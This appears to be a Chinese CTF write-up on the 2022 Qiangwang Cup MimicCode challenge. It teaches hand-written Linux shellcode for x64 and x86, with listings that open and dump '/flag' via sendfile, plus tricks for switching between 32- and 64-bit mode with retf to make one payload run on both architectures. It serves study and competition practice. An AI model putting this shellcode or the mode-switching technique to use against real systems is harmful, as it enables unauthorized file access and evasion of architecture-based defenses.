最近在复盘强网杯 2022 Final KoH MimicCode题目

题目及本人exp下载地址,本人能力有限,估计不是最短shellcode:MimicCode.zip

x86 & x64架构shellcode分析

1.怎么用汇编语言构造简单的shellcode(64位)

前置知识:

① 64位寄存器传参的前三个寄存器分别是rdi,rsi,rdx

②64位系统调用号通过查看linux上的/usr/include/x86_64-linux-gnu/asm/unistd_64.h文件就可以获取

③系统调用号放入rax寄存器,然后syscall就可以执行对应的系统调用函数

故64位shellcode如下:

mov rbx, 0x67616c662f
push rbx
mov rax, 2
mov rdi, rsp
xor rsi, rsi
syscall
mov rdi, 1
mov rsi, rax
xor rdx, rdx
mov r10, 1000
mov rax, 40
syscall

2.怎么用汇编语言构造简单的shellcode(32位)

前置知识:

①对于32位程序而言,我们最后系统调用采用的并不是syscall,而是int 0x80

②我们传参的前三个寄存器分别是ebx,ecx,edx

③32位的execve系统调用号是11,并且存储系统调用后的寄存器是eax。32位的系统调用号可以查看这个文件/usr/include/x86_64-linux-gnu/asm/unistd_32.h

故32位shellcode如下:

mov ebx, 0x67
push ebx
mov ebx, 0x616c662f
push ebx
mov eax, 5
mov ebx, esp
xor ecx, ecx
int 0x80
mov ebx, 1
mov ecx, eax
xor edx, edx
mov esi, 1000
mov eax, 0xbb
int 0x80

3.如何兼容X64与x86系统

方法一:

在32位系统中cs寄存器的值为0x23,在64位系统中cs寄存器的值为0x33,通过段寄存器CS的值可判断操作系统版本,执行对应shellcode。

mov eax,cs
sub eax,0x23
jnz x64
x32:
x64:

方法二:

使用retf指令实现指令集切换,x32->x64,但如果使用qemu-i386不可切换。

在X64系统下的进程有32位和64位两种工作模式,这两种工作模式的区别在于CS寄存器。32模式时,CS=0x23;64位模式时,CS=0x33。

这两种工作模式可以进行切换,一般通过retf指令。retf指令等效于2条汇编指令pop ip、pop cs。

如果此时栈中有0x33,则会将0x33弹出到CS寄存器中,实现32位程序切换到64位代码的过程。反之,如果栈中有0x23,将0x23弹出到CS寄存器,则实现64位程序切换到32位代码的过程。

识别32位、64位工作模式切换的两个标志:

(1)出现retf、0x23或0x33。

(2)使用类似call fword的远处调用,譬如call fword ptr [ebp-0xC]。

实现方法如下:

call code
code:
pop rcx
add rcx,10
push 0x33
push rcx
retfq